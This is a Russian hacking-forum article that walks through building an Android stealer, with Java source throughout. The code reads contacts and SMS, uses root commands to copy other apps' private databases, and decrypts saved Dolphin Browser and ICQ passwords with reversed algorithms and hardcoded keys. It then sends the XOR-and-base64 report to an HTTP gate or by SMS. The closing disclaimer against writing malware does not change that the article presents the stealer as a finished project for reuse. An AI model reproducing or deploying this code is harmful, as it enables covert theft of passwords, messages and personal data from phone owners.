Форум   Статьи   Новости   Файлы   Bugtraq   Сниффер   Друзья   О Клубе

Последнее на Форуме

Пожертвования

Liberty Reserve: U9999024
Кошельки WebMoney:
Z583322939655
E121331800314
R274644017049
U349709454906


YM: 410011220120073

Пожертвовать

Контакты

Связь с Администрацией

hpcteam1[@]gmail.com

Статьи rss

[ Добавить Статью на сайт ]

Статьи / Программирование / Java

Написание malware под Android. Чего не нужно делать?

Введение


С каждым годом количество вредоносного ПО под мобильные платформы растет. Лидером среди целевых ОС продолжает оставаться Google Android по следующим причинам:

  • Растущая популярность (75% за 2012 год по данным википедии)
  • Интеграция технологий и сервисов с мобильными платформами
  • Открытость (альтернативные маркеты, возможность писать системное/прикладное ПО)
  • Нежелание пользователей устанавливать антивирусное ПО на смартфон
  • Малое количество действительно стоящих программ для обеспечения защиты

Все это делает Android лакомым кусочком для вредоразработчиков. Таким же лакомым, как и Windows. Однако, разработка приложений под Android намного легче, нежели под настольные ОС (не нужно перехватывать функции, все делается по событиям, широкие возможности Java, конфиденциальная информация в большинстве случаев защищена не так сильно, если защищена вообще).

Огорчает только тот факт, что на русскоязычных порталах этой проблеме уделено очень мало внимания. Все либо получают профит и молчат, либо ничего не знают и знать не хотят. По этой причине данная статья и появилась – осветить некоторые моменты вредокодинга под Android и пронаблюдать со стороны за этим процессом от начала до выхода готового софта. Но сначала нужно разобраться с тем, что вообще пишут вредоносного под эту платформу, что писать выгоднее, быстрее, а также что уже реализовано кем-то другим.

Сравнительный обзор существующего вредоносного ПО


В настоящее время большинство Android-малвари являются попытками реализации мобильных ботнетов. Образцы, получившие общественную огласку:



Отдельно хотелось бы упомянуть интеграцию имеющегося на ПК вредоносного софта (Zeus, SpyEye, Carberp) в мобильные платформы.
Как видно, большинство вредоносного ПО под Android требует версию ОС от 2.1 (оно и понятно, все что было ранее не было настолько популярно). Однако, все эти попытки реализовать ботнет на мобильных платформах не увенчались успехом. Дело в том, что не так просто поставить приложение без ведома пользователя – так уж спроектирована ОС. Поэтому вся малварь вынуждена выдавать себя за легальный софт как минимум на этапе установки и до первого запуска, когда применит какой-нибудь эксплоит, вот тогда уже можно будет спрятаться. Такой радости, как удаленное выполнение кода на Android, пока еще не нашли. Все это делает уход за ботнетом весьма трудоемкой задачей (нужно постоянно клеить малварь с софтом, следить за блокировками и т.д.) Пока на мой взгляд это неэффективно. А вот кража конфиденциальной информации – совсем другое дело. На смартфоне (планшете) хранится не меньше, а то и больше информации, чем на ПК. К тому же для статьи необходим наглядный пример, что как раз по силам стилеру, который и будем реализовывать на протяжении оставшегося объема.

Почему именно стилер?


Выбор пал именно на данный тип вредоносного ПО по нескольким причинам:

  • Быстрая работа (собрал информацию, отослал и все – на данном устройстве он не нужен)
  • Не нужно тратить время на поддержку сети
  • Простота
  • Склейка не обязательна (главное чтобы пользователь запустил один раз, а потом можно выдавать поддельное сообщение об ошибке или удалить себя с устройства). Т.е. не придется заботиться о том, чтобы приложение оставалось в системе.

Стоит также обратить внимание на то, что же может храниться на устройствах:

  • Номера абонентов
  • SMS/MMS-сообщения
  • Деньги на SIM-карте
  • Данные с браузеров (cookies, сохраненные пароли)
  • Данные с IM-клиентов (пароли, история)
  • Данные с платежных систем
  • Доступ к почте (если устройство авторизовано)
  • Текущие координаты и/или история перемещения

Внушительный список, сомневаться в «полезности» софта не приходится. В дальнейшем поговорим о том, как лучше подойти к реализации намеченного.

Необходимые инструменты


Весь необходимый набор программ я решил выделить в отдельный раздел, чтобы перечислить все один раз и не возвращаться впредь к этому. Итак, для реализации понадобятся:

Сразу хочу предупредить, что для примера в статье необходимо наличие root-привилегий, не важно, будь то устройство, либо эмулятор. Поэтому проще все же будет иметь при себе устройство, с ним меньше возни, да и в целом разработка будет идти быстрее.

Теоретическая часть, cтруктура проекта


Проект представляет из себя обычное приложение android, которое можно создать с помощью мастера через тот же Eclipse. Подобно о том, как скачать подготовить среду программирования к написанию приложений можно прочесть здесь.

После создания приложения имеется дерево проекта с созданными по умолчанию файлами: MainActivity – непосредственно главное окно приложения, AndroidManifest – файл с описанием всего приложения и запрашиваемыми правами доступа. Подробнее об этом файле можно прочесть в любой книге по программированию под android, или в справке. Также имеются файл для строковых констант (strings.xml), но в работе он задействован не будет, впрочем как и все остальные файлы, которые создаются в проекте по умолчанию.

Если же говорить о связи классов между собой в проекте, то выглядит она следующим образом:



Практическая часть, сбор сообщений и списка контактов


Наверное, самая тривиальная задача из всех, но при этом не менее важная. Для реализации достаточно просто добавить несколько пунктов в манифест и воспользоваться стандартными классами:

<uses-permission android:name="android.permission.READ_CONTACTS"/>
<uses-permission android:name="android.permission.READ_SMS"/>

private String infoContacts()
{
    	String Result = "";
    	
    	Cursor cursor = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, new String[] {Phone._ID, Phone.DISPLAY_NAME, Phone.NUMBER}, null, null, null);
    	startManagingCursor(cursor);
    	 
    	if (cursor.getCount() > 0)
    	    while (cursor.moveToNext())
    	    	Result += cursor.getString(1) + "\t" + cursor.getString(2) + "\r\n";
    	
    	cursor.close();
    	return Result;
}
    
private String infoSMS()
{
    	String Result = "=======SMS=======\r\n\r\nINBOX:\r\n";
    	Cursor cursor = getContentResolver().query(Uri.parse("content://sms/inbox"),null,null,null,null);
    	startManagingCursor(cursor);
    	if (cursor.getCount() > 0)
    	    while (cursor.moveToNext())
    	    	Result += converter.TimeStampToDate(cursor.getString(4)) + "\t" + cursor.getString(2) +  "\r\n" + cursor.getString(11) + "\r\n\r\n";
    	cursor.close();
    	Result += "\r\n\r\nOUTBOX:\r\n";
    	
    	cursor = getContentResolver().query(Uri.parse("content://sms/sent"),null,null,null,null);
    	startManagingCursor(cursor);
    	if (cursor.getCount() > 0)
    	    while (cursor.moveToNext())
    	    	Result += converter.TimeStampToDate(cursor.getString(4)) + "\t" + cursor.getString(2) +  "\r\n" + cursor.getString(11) + "\r\n\r\n";
    	cursor.close();
    	Result += "=======SMS=======\r\n";
    	
    	return Result;
}

Немного комментариев к коду. Во-первых, функции не вынесены в отдельный класс потому что для обращения к провайдерам необходимо вызывать метод getContentResolver, который возможно вызвать только из Activity или Service. Поэтому я не сильно заморачивался, учитывая что софт отработает 1 раз, собирая логи. Во-вторых, для преобразования даты используется самописная функция в классе converter:

@SuppressLint("SimpleDateFormat")
	   public static String TimeStampToDate(String tstamp)
	   {
		String Result = "";
		
		SimpleDateFormat sdf = new SimpleDateFormat("MMMM d, yyyy 'at' h:mm a");
		Result = sdf.format(new Date(Long.parseLong(tstamp)));
		return Result;
	   }

А в остальном вполне себе обычная обработка хранимой в Android информации.

Работа со сторонним ПО. Некоторые тонкости


Подавляющее большинство софта на Android хранит свои настройки двумя способами: в таблицах sqlite и файлах Shared Preferences. Причем как правило отдают предпочтение первому, хотя есть и альтернативные. Для стилера подойдут только вышеупомянутые. Но проблема заключается в том, что нельзя получить доступ к настройкам другого приложения. Чтобы обойти данную защиту, придется воспользоваться правами root'а. Суть в следующем: для определенной программы файл с настройками копируем в папку настроек нашего стилера, с помощью chown выставляем права стилера, после чего можем работать с файлом как с родным, используя имеющиеся в java классы по обработке хранящейся в этих файлах информации. Исходный код класса:

package com.example.stealer;

import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;

public class Shell 
{
	public static String execute(String cmd) 
       {
           Process process = null;
           DataOutputStream os = null;
           DataInputStream is = null;
           String Result = "", line;
        try 
        {
            process = Runtime.getRuntime().exec("su");
            os = new DataOutputStream(new BufferedOutputStream(process.getOutputStream()));
            is = new DataInputStream(new BufferedInputStream(process.getInputStream()));
            os.writeBytes(cmd);
            os.writeBytes("\nexit\n");
            os.flush();
            while ((line = is.readLine()) != null)
            {
            	Result += line;
            }
            process.waitFor();
            return Result;
            
        } 
        catch (IOException e) 
        {
            return Result;
        } 
        catch (InterruptedException e) 
        {
            return Result;
        } 
        finally 
        {
            if (os != null) 
            {
                try 
                {
                    os.close();
                } 
                catch (IOException e)
                {
                }
            }
            if (process != null) 
            {
                process.destroy();
            }
          }
       }
	
	public static boolean settingsToFile(String source, String destanation, boolean createFolders) 
       {
        Process process = null;
        DataOutputStream os = null;
        try 
        {
            process = Runtime.getRuntime().exec("su");
            os = new DataOutputStream(new BufferedOutputStream(process.getOutputStream()));
            os.writeBytes("mount -o rw,remount /data\n");
            if (createFolders)            	
            	os.writeBytes(needInit());
            os.writeBytes("cp " + source + " " + Settings.PARAM_PROGRAMM_PATH + "/" + destanation + "\n");
            os.writeBytes("chown -R " + Settings.User + ":" + Settings.User + " " + Settings.PARAM_PROGRAMM_PATH + "/" + destanation +"\n");
            os.writeBytes("mount -o ro,remount /data\n");
            os.writeBytes("exit\n");
            os.flush();
            
            return process.waitFor() == 0;
        } 
        catch (IOException e) 
        {
            return false;
        } 
        catch (InterruptedException e) 
        {
            return false;
        } 
        finally 
        {
            if (os != null) 
            {
                try 
                {
                    os.close();
                } 
                catch (IOException e)
                {
                }
            }
            if (process != null) 
            {
                process.destroy();
            }
        }
    }
	
    private static String needInit()
   {
            return "mkdir " + Settings.PARAM_PROGRAMM_PATH + "/databases\n" +
            "mkdir " + Settings.PARAM_PROGRAMM_PATH + "/shared_prefs\n" +
            "chown -R " + Settings.User + ":" + Settings.User + " " + Settings.PARAM_PROGRAMM_PATH + "/databases\n" +
            "chown -R " + Settings.User + ":" + Settings.User + " " + Settings.PARAM_PROGRAMM_PATH + "/shared_prefs\n";
    }
}

В описанном классе имеется всего три метода: execute – для разового выполнения команды и возвращения результата выполнения, settingsToFile — копирует файл настроек одной программы в папку настроек стилера и needInit – создание необходимых папок для стилера перед перемещением файлов, причем данный метод вызывается при первом вызове метода settingsToFile, потому как папки создаются только при создании нового файла, а софт не создает файлы — пользуется готовыми. Код в методах дублирован для наглядности. Стоит также обратить внимание на используемый класс Settings. Внутри него хранятся все настройки стилера:

import android.content.Context;
import android.content.SharedPreferences;
import android.preference.PreferenceManager;
public class Settings 
{
	
	public static final String PARAM_PROGRAMM_PATH = "/data/data/com.example.stealer";
	public static String User;
	
	public static String getUser(String lslaResult)
	{		
		int sPos = lslaResult.indexOf("app_");
		int fPos = lslaResult.indexOf(" ", sPos);
		
		if (sPos != -1 && fPos != -1)
			User = lslaResult.substring(sPos, fPos);
		return User;
	}
}

В классе примечательно то, что перед перемещением файлов необходимо сначала узнать пользователя для стилера и группу. Для каждой программы в андроид выделяется свой пользователь и группа (одноименны). Таким образом контролируется доступ к настройкам приложений. Узнать эти данные для стилера можно определив владельца корневой папки для настроек программы (значение Settings.PARAM_PROGRAMM_PATH в моем случае). Для определения владельца в linux-системах используется команда «ls -la». Таким образом, в первую очередь при запуске программы необходимо сделать:

Settings.getUser(Shell.execute("ls -la " + Settings.PARAM_PROGRAMM_PATH));

В дальнейшем результат можно получать через Settings.User.

C перемещением файлов покончено, но необходимо еще получать информацию, которая в них хранится. Для xml-файлов не нужно писать свою обертку, т. к. стандартные возможности более чем удовлетворяют потребностям (получение из файлов различных данных: числа, даты, строки). А вот для sqlite придется написать небольшой класс, причем даже стандарт заставляет делать это. Результат:

import android.content.Context;
import android.database.sqlite.SQLiteDatabase;
import android.database.sqlite.SQLiteOpenHelper;

public class SQLiteManager extends SQLiteOpenHelper 
{
	private String DATABASE_NAME;
	private static final int DATABASE_VERSION = 1;
	public String TABLE_NAME;

	public SQLiteManager(Context context, String dbName, String tableName) 
	{
		// TODO Auto-generated constructor stub
		
		super(context, dbName, null, DATABASE_VERSION);
		DATABASE_NAME = dbName;
		TABLE_NAME = tableName;
	}

	@Override
	public void onCreate(SQLiteDatabase arg0) 
	{
		// TODO Auto-generated method stub

	}

	@Override
	public void onUpgrade(SQLiteDatabase arg0, int arg1, int arg2) 
	{
		// TODO Auto-generated method stub
		
	}

}

Работа с объектами класса будет показа позже на конкретных примерах, параметры конструктора вполне обыденные, за исключением параметра Context (хотя для android-разработчиков это же обычные вещи), он показывает, кто именно запрашивает данные.

Хранимая браузером информация


Давайте подробнее взглянем на функцию дешифровки паролей для Dolphin Browser (самый популярный среди браузеров под Android, плюс у него нет «старших братьев» на ПК, которые абсолютно одинаково хранят пароли). Путем просмотра директории \data\data\mobi.mgeek.TunnyBrowser\ и всех вложенных можно обнаружить, что пароли хранятся в таблице \data\data\mobi.mgeek.TunnyBrowser\databases\password.db:



Пароли, разумеется, хранятся в зашифрованном виде. Чтобы узнать алгоритм шифрования, необходимо отреверсить приложение. Для этого сначала распаковываем из файла .apk classes.dex и преобразуем в .jar c помощью набора утилит dex2jar:



После этого можно открывать файл декомпилятором. На выбор, либо Java Decompiler, либо DJ Java Decompiler. После открытия файла в большинстве случаев приходится просматривать все классы, т. к. исходные имена классов не восстанавливаются, а значит понять для чего они нужны невозможно, пока не просмотришь код. Также, если известно имя файла, где хранятся пароли (для Dolphin - password.db) можно искать по строке в файлах, это может значительно сократить поиски. Итак, спустя некоторое время, всетаки можно докопаться до класса com.dolphin.browser.h.a, в котором описаны все методы шифрования/дешифрования паролей:



Используется AES, ключ шифрования — хеш от соли секретного слова. Да, намудрили. Хеш SHA-1. Вот основные методы, задействованные в алгоритме:

private static byte[] b(String paramString)
{
       MessageDigest localMessageDigest = MessageDigest.getInstance("SHA-1");
       localMessageDigest.update((paramString + a()).getBytes());
       byte[] arrayOfByte1 = localMessageDigest.digest();
       byte[] arrayOfByte2 = new byte[16];
       for (int i = 0; i < 16; i++)
         arrayOfByte2[i] = arrayOfByte1[i];
       return arrayOfByte2;
}

private static String a()
{
    int i = 0;
    byte[] arrayOfByte1 = BigInteger.valueOf(System.currentTimeMillis()).toByteArray();
    byte[] arrayOfByte2 = "mysalt".getBytes();
    int j = "mysalt".length();
    int k = 0;
    if (k < j)
    {
      int i2;
      switch (arrayOfByte2[k] % 3)
      {
      default:
        i2 = 0;
      case 0:
      case 1:
      case 2:
      }
      while (true)
      {
        arrayOfByte2[k] = ((byte)(i2 + arrayOfByte2[k]));
        k++;
        break;
        i2 = 3;
        continue;
        i2 = -6;
        continue;
        i2 = 9;
      }
    }
    for (int m = 0; m < j; m++)
    {
      arrayOfByte2[m] = ((byte)(arrayOfByte2[m] ^ arrayOfByte1[m]));
      arrayOfByte1[m] = ((byte)(arrayOfByte1[m] ^ arrayOfByte2[m]));
      arrayOfByte2[m] = ((byte)(arrayOfByte2[m] ^ arrayOfByte1[m]));
    }
    int n = 0;
    if (n < j)
    {
      int i1;
      switch (arrayOfByte1[n] % 3)
      {
      default:
        i1 = 0;
      case 0:
      case 1:
      case 2:
      }
      while (true)
      {
        arrayOfByte1[n] = ((byte)(arrayOfByte1[n] - i1));
        n++;
        break;
        i1 = 3;
        continue;
        i1 = -6;
        continue;
        i1 = 9;
      }
    }
    while (i < j)
    {
      arrayOfByte2[i] = ((byte)(arrayOfByte2[i] ^ arrayOfByte1[i]));
      arrayOfByte1[i] = ((byte)(arrayOfByte1[i] ^ arrayOfByte2[i]));
      arrayOfByte2[i] = ((byte)(arrayOfByte2[i] ^ arrayOfByte1[i]));
      i++;
    }
    return new String(arrayOfByte2);
 }

 public static String a(String paramString1, String paramString2)
 {
    if ((paramString1 == null) || (paramString2 == null));
    String str2;
    for (String str1 = null; ; str1 = "v01" + str2)
    {
      return str1;
      str2 = a(a(b(paramString1), paramString2.getBytes()));
    }
 }

После переписывания кода можно вполне читаемый вариант. Для тех, кто не хочет видеть исковерканный после декомпиляции код, могу порекомендовать apktool. Этот инструмент позволяет распаковать .dex-файл по классам, каждый класс будет представлен в виде опкодов Dalvik VM. Все будет выглядеть «как есть», но нужно больше опыта и навыков в реверсе java-приложений. Отвлеклись... Итак, после модификации кода получаем следующие методы:

private static String getSalt()
{
    int i = 0;
    byte[] arrayOfByte1 = BigInteger.valueOf(System.currentTimeMillis()).toByteArray();
    byte[] arrayOfByte2 = salt.getBytes();
    int j = salt.length();
    int k = 0;
    
    if (k < j)
    {     
      while (k < 3)
      {
        arrayOfByte2[k] = ((byte)(arrayOfByte2[k]));
        k++;       
      }
    }
    for (int m = 0; m < j; m++)
    {
      arrayOfByte2[m] = ((byte)(arrayOfByte2[m] ^ arrayOfByte1[m]));
      arrayOfByte1[m] = ((byte)(arrayOfByte1[m] ^ arrayOfByte2[m]));
      arrayOfByte2[m] = ((byte)(arrayOfByte2[m] ^ arrayOfByte1[m]));
    }
    
    int n = 0;
    if (n < j)
    {    
      while (n < 6)
      {
        arrayOfByte1[n] = ((byte)(arrayOfByte1[n]));
        n++;      
      }
    }
    while (i < j)
    {
      arrayOfByte2[i] = ((byte)(arrayOfByte2[i] ^ arrayOfByte1[i]));
      arrayOfByte1[i] = ((byte)(arrayOfByte1[i] ^ arrayOfByte2[i]));
      arrayOfByte2[i] = ((byte)(arrayOfByte2[i] ^ arrayOfByte1[i]));
      i++;
    }
    
    return new String(arrayOfByte2);
}
  
private static byte[] a(String s)
{
      int i = s.length() / 2;
      byte abyte0[] = new byte[i];
      for(int j = 0; j < i; j++)
          abyte0[j] = Integer.valueOf(s.substring(j * 2, 2 + j * 2), 16).byteValue();

      return abyte0;

}
  
private static String decrypt(String key, String pwd) throws InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, IllegalBlockSizeException, BadPaddingException
{
	  String s2;
      if(key == null || pwd == null)
      {
          s2 = null;
      } 
      else
      {
          String s3 = pwd.substring(3);
          s2 = new String(decryptAES(getSHA1(key), a(s3)));
      }
      return s2;

}

private static byte[] getSHA1(String paramString) throws NoSuchAlgorithmException
{
    MessageDigest localMessageDigest = MessageDigest.getInstance("SHA-1");
    localMessageDigest.update((paramString + getSalt()).getBytes());
    byte[] arrayOfByte1 = localMessageDigest.digest();
    byte[] arrayOfByte2 = new byte[16];
    for (int i = 0; i < 16; i++)
      arrayOfByte2[i] = arrayOfByte1[i];
    return arrayOfByte2;
}

private static byte[] decryptAES(byte[] key, byte[] msg) throws NoSuchAlgorithmException, NoSuchPaddingException, IllegalBlockSizeException, BadPaddingException, InvalidKeyException
{
    SecretKeySpec localSecretKeySpec = new SecretKeySpec(key, "AES");
    Cipher localCipher = Cipher.getInstance("AES");
    localCipher.init(2, localSecretKeySpec);
    return localCipher.doFinal(msg);
}

Причем алгоритм можно оптимизировать и дальше (например, в методе генерации хеша можно убрать копирование массива байтов), это я оставлю уже на совести вредокодеров. Алгоритм дешифрования готов, само секретное слово лежит в одном пространстве имен с вышеупомянутым классом (класс d) и является константой: security. Что касается процедуры получения паролей, то все очень просто: копируем базу данных sqlite к себе в папку, открываем ее, получаем данные и дешифруем пароль. Специально для этого я создал класс Dolphin и описал метод getData, который вернет все сохраненные данные:

public static String getData(Context co)
{
	  String Result = "DOLPHIN\r\n";
	  try
	  {

          Shell.settingsToFile(appFile, "/databases/dolphin.db",true);
		  
          SQLiteManager sqh = new SQLiteManager(co, "dolphin.db", "password");
          SQLiteDatabase sqdb = sqh.getWritableDatabase();
          
          Cursor c = sqdb.query(sqh.TABLE_NAME,new String[] {"host", "username", "password"} , null , null, null, null, null);
          while(c.moveToNext())
          {
        	  Result += c.getString(c.getColumnIndex("host"));
        	  Result += ":" + c.getString(c.getColumnIndex("username"));
        	  Result += ":" + decrypt("security", c.getString(c.getColumnIndex("password")));
        	  Result += "\r\n";
          }
          sqdb.close();
          sqh.close();
	  }
	  catch(Exception ex)
	  {
		  Result += "Dolphin decrypt module exception: " + ex.getMessage() + "\r\n";
	  }
	  Result += "DOLPHIN";
	  return Result;
}

В коде нет ничего сложного, алгоритм копирования файлов приложения рассматривался выше, а помимо этого здесь банальная работа с sqlite, мануалов в Интернете очень много. К слову, для остальных примеров я также взял структуру, схожую с классом Dolphin: статический класс, все методы скрыты за исключением getData, который и возвращает информацию, либо ошибку, если таковой не нашлось. Также внутри класса есть переменная appFile типа String, которая указывает, в каком именно файле приложение хранит пароли. Более наглядно структура класса представлена на рисунке:



Дешифровка паролей от IM-клиентов


Для примера я взял официальный ICQ-клиент. ICQ mobile хранит все данные в папке /data/data/icq.mobile.client. Опытным путем (банальное чтение каждого файла, их там не так много) становится понятно, что текущий аккаунт (помним, что их может быть несколько, но в качестве примера пойдет последний активный) хранится в файле /shared_prefs/primaryIdentity.xml.

Использование Shared Preferences позволяет удобно работать с конфигурациями и параметрами для приложения. В данном файле интересуют только два параметра: encryptedPassword, aimId. Im-модуль будет читать этот файл и заносить пару num:pwd в лог. Это не так тяжело (классы для работы с xml присутствуют в java), остается только узнать, как шифруется пароль.

Быстро проглядев декомпилированные классы, можно убедиться в том, что строки находятся в открытом виде, поэтому банальный поиск строки “primaryIdentity” в файлах указывает на класс ado.java. Анализируя код, находим класс ahq.java, в котором есть метод передачи ключа:

public static String k()
{
    String str1 = s().f.getDeviceId();
    String str2 = Build.DEVICE;
    String str3 = Build.MODEL;
    return str2 + str3 + str1;
}

Поиск по строке “ahq.k()” перебрасывает на класс agu.java, в котором как раз описаны все методы шифрования/дешифрования:

public final class agu
{
  public static String a(String paramString1, String paramString2)
  {
    byte[] arrayOfByte1 = a(paramString1.getBytes());
    byte[] arrayOfByte2 = paramString2.getBytes();
    SecretKeySpec localSecretKeySpec = new SecretKeySpec(arrayOfByte1, "AES");
    Cipher localCipher = Cipher.getInstance("AES");
    localCipher.init(1, localSecretKeySpec);
    return b(localCipher.doFinal(arrayOfByte2));
  }

  private static byte[] a(byte[] paramArrayOfByte)
  {
    KeyGenerator localKeyGenerator = KeyGenerator.getInstance("AES");
    SecureRandom localSecureRandom = SecureRandom.getInstance("SHA1PRNG", "Crypto");
    localSecureRandom.setSeed(paramArrayOfByte);
    localKeyGenerator.init(128, localSecureRandom);
    return localKeyGenerator.generateKey().getEncoded();
  }

  public static String b(String paramString1, String paramString2)
  {
    byte[] arrayOfByte1 = a(paramString1.getBytes());
    int i = paramString2.length() / 2;
    byte[] arrayOfByte2 = new byte[i];
    for (int j = 0; j < i; j++)
      arrayOfByte2[j] = Integer.valueOf(paramString2.substring(j * 2, 2 + j * 2), 16).byteValue();
    SecretKeySpec localSecretKeySpec = new SecretKeySpec(arrayOfByte1, "AES");
    Cipher localCipher = Cipher.getInstance("AES");
    localCipher.init(2, localSecretKeySpec);
    return new String(localCipher.doFinal(arrayOfByte2));
  }

  private static String b(byte[] paramArrayOfByte)
  {
    if (paramArrayOfByte == null);
    StringBuffer localStringBuffer;
    for (String str = ""; ; str = localStringBuffer.toString())
    {
      return str;
      localStringBuffer = new StringBuffer(2 * paramArrayOfByte.length);
      for (int i = 0; i < paramArrayOfByte.length; i++)
      {
        int j = paramArrayOfByte[i];
        localStringBuffer.append("0123456789ABCDEF".charAt(0xF & j >> 4)).append("0123456789ABCDEF".charAt(j & 0xF));
      }
    }
  }

  public static String c(String paramString1, String paramString2)
  {
    Mac localMac;
    if (!ik.a(paramString1))
    {
      SecretKeySpec localSecretKeySpec = new SecretKeySpec(paramString2.getBytes(), "HmacSHA256");
      localMac = Mac.getInstance("HmacSHA256");
      localMac.init(localSecretKeySpec);
    }
    for (byte[] arrayOfByte = localMac.doFinal(paramString1.getBytes()); ; arrayOfByte = null)
      return agt.a(arrayOfByte).trim();
  }
}

Нам нужна только дешифровка, поэтому немного изменим этот класс с учетом наших потребностей:

private static byte[] a(byte[] paramArrayOfByte) throws NoSuchAlgorithmException, NoSuchProviderException, NoSuchAlgorithmException
{
	    KeyGenerator localKeyGenerator = null;
	    localKeyGenerator = KeyGenerator.getInstance("AES");
	    SecureRandom localSecureRandom = null;
	    localSecureRandom = SecureRandom.getInstance("SHA1PRNG", "Crypto");
		
	    localSecureRandom.setSeed(paramArrayOfByte);
	    localKeyGenerator.init(128, localSecureRandom);
	    return localKeyGenerator.generateKey().getEncoded();
}
	
private static String decrypt(String key, String pwd) throws NoSuchAlgorithmException, NoSuchPaddingException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException, NoSuchProviderException
{
	    byte[] arrayOfByte1 = a(key.getBytes());
	    int i = pwd.length() / 2;
	    byte[] arrayOfByte2 = new byte[i];
	    for (int j = 0; j < i; j++)
	      arrayOfByte2[j] = Integer.valueOf(pwd.substring(j * 2, 2 + j * 2), 16).byteValue();
	    SecretKeySpec localSecretKeySpec = new SecretKeySpec(arrayOfByte1, "AES");
	    Cipher localCipher = Cipher.getInstance("AES");
	    localCipher.init(2, localSecretKeySpec);
	    return new String(localCipher.doFinal(arrayOfByte2));
}

Теперь нам остается только получить заветные два параметра: ключ (который к слову уже имеется, необходимо сделать только конкатенацию соответствующих строк) и передать их в ICQ.getData():

public static String getData(SharedPreferences sp, String key)
{
		  String Result = "";
		  try
		  {
			  if (!Shell.settingsToFile(appFile, "/shared_prefs/icq.xml",true))
			  {
				  
				  Result += "ICQ:" + sp.getString("aimId","hz") + ":" + decrypt(key, sp.getString("encryptedPassword","hz")) + "\r\n";
			  }
		  }
		  catch(Exception ex)
		  {
			  Result += "ICQ decrypt module exception: " + ex.getMessage() + "\r\n";
		  }
		  //Result += "ICQ";
		  return Result;
}

Для получения ключа я создал переменные в классе MainActivity (главный Activity, который появляется сразу после создания проекта, название у Вас может отличаться):

String infoIMEI,infoOPERATOR,infoNUMBER,infoSIMserial;
TelephonyManager telMan = null;
telMan = (TelephonyManager)getSystemService(TELEPHONY_SERVICE);

После чего в отдельном методе можно инициализировать переменные:

private void infoBasic()
{
    	infoIMEI     = telMan.getDeviceId();
    	infoOPERATOR = telMan.getSimOperatorName();
    	infoNUMBER   = telMan.getLine1Number();
    	infoSIMserial = telMan.getSimSerialNumber();
}

Для того чтобы получить учетную запись ICQ, необходимо вызвать метод getData:

ICQ.getData(this.getSharedPreferences("icq", Context.MODE_PRIVATE), Build.DEVICE + Build.MODEL + infoIMEI);

Отсылка отчета


Как было показано ранее, для каждого класса существует метод getData, который возвращает данные от программы в виде строки. Для отсылки отчета с устройства рекомендуется использовать стандартную отсылку через Интернет, либо специфичными средствами, например, по SMS на другой номер. Я приведу оба примера, потому как для смартфонов предпочтителен второй вариант (не всегда есть доступ к инету), а у планшетов и других устройств просто может не быть 3g модуля, соответственно, некуда будет отправлять отчеты. Для реализации отсылки создадим новый класс Report. Конструктор будет принимать данные для отсылки (HTTP-гейт, номер для SMS и собственно сам отчет). Отчет будет передаваться в зашифрованном виде (для примера XOR) и поверх перекодирован в base64 (чтобы легко было копировать с телефона в файл). Да, предварительно нужно будет написать метод XOR-шифрования:

public class Encryption 
{
	public static String XOR(String key, String msg)
	{	
		if (msg.length() > 0 && key.length() > 0)
    		{

			byte[] bStr = msg.getBytes();
			byte[] bKey = key.getBytes();
			
			int StrSZ = bStr.length;
			int KeySZ = bKey.length;
    	
			for (int i = 0; i < StrSZ; i++)			
				bStr[i] ^= bKey[i % KeySZ];
			
			return new String(bStr);
        	
    		}
		
		return null;
	}
}

Для кодирования в base64 я использовал готовый класс отсюда. Для удобства возвращаемых значений написал метод в класс Report:

private static String Base64Encode(String data)
{
    return Base64.encodeBytes(data.getBytes());   	
}

Приступим непосредственно к конструктору и методам отсылки:

private String repNumber, repGate, encryptedReport;
	
public Report(String number, String gate)
{
	repNumber = number;
	repGate = gate;
	encryptedReport = null;
		
}

Здесь все просто, в комментариях не нуждается. Непосредственно отсылка:

public void send(String openReport, String simSerial) throws ClientProtocolException, UnsupportedEncodingException, IOException
{
    	encryptedReport = Base64Encode(Encryption.XOR("12345", openReport));
    	if (simSerial == null)
    		sendViaHTTP();
    	else sendViaSMS();
    		
}
    
private void sendViaSMS()
{
    	SmsManager sms = SmsManager.getDefault();
        sms.sendTextMessage(Settings.phoneNumber, null, encryptedReport, null, null);
}
    
private void sendViaHTTP() throws ClientProtocolException, IOException, UnsupportedEncodingException
{
    	String result = "";
    	
	HttpClient httpClient = new DefaultHttpClient();
        HttpPost post = new HttpPost(Settings.gateURL);
        
        List<NameValuePair> pairs = new ArrayList<NameValuePair>();
        
        pairs.add(new BasicNameValuePair("report", encryptedReport));
        
	post.setEntity(new UrlEncodedFormEntity(pairs));
		
	HttpResponse response = httpClient.execute(post);
	HttpEntity entity = response.getEntity();
}

В public-методе send имеется два параметра: непосредственно сам отчет и серийный номер сим-карты. Для устройств без сим-карты этот параметр будет равным null. В зависимости от того, имеется ли сим-карта или нет, отчет будет послан по SMS, либо по HTTP. Private-методы для android-разработчиков вполне обыденны: пример отправки sms-сообщения и пример post-запроса. Следует также учесть, что в манифест необходимо добавить следующие строки:

<uses-permission android:name="android.permission.SEND_SMS"/>
<uses-permission android:name="android.permission.INTERNET"/>

Иначе отчет не удастся отослать ни одним из способов.

Несколько слов о клиентах социальных сетей


После реверса пары приложений для социальных сетей (facebook, vkontakte) я заметил, что все эти приложения взаимодействуют с серверами через API по HTTP-протоколу. Тоесть пароля в чистом виде там не хранится, используются теже самые сессии, что и в любом браузере, просто выдача информации в более удобном виде. Поэтому разбор подобных приложений я намеренно не включил в статью. Да и думается мне, что двух примеров вполне достаточно для того, чтобы понять логику разработки подобных проектов, с чего нужно начинать, какие еще материалы нужно изучить, чтобы продолжить начатое.

Заключение


Хотелось бы заметить, что софт является вполне законченным проектом (вся логика присутствует, остается только наращивать модули под дополнительный софт), но остается несколько моментов, которым следует уделить внимание:

  • Все настройки также должны быть зашифрованы (особенно данные для отсылки)
  • Обфускация кода не обязательна, но все таки хотелось бы видеть. Возможно, защите java-приложений я посвящу отдельную статью.
  • Некоторые участки кода можно оптимизировать, пришлось пожертвовать быстротой за счет наглядности.

Также отмечу, что вредоносный софт писать плохо и нельзя! А потому все, что написано в статье является рекомендацией к тому, чего нельзя делать – нельзя писать вредоносное ПО.
Для тех, кому интересно взглянуть на проект целиком - ссылка на исходники.

Автор: 1nt

Материал добавил 1nt


Комментарии(0)

Дата: 2013-03-31 23:10:46

Добавить Комментарий к Материалу

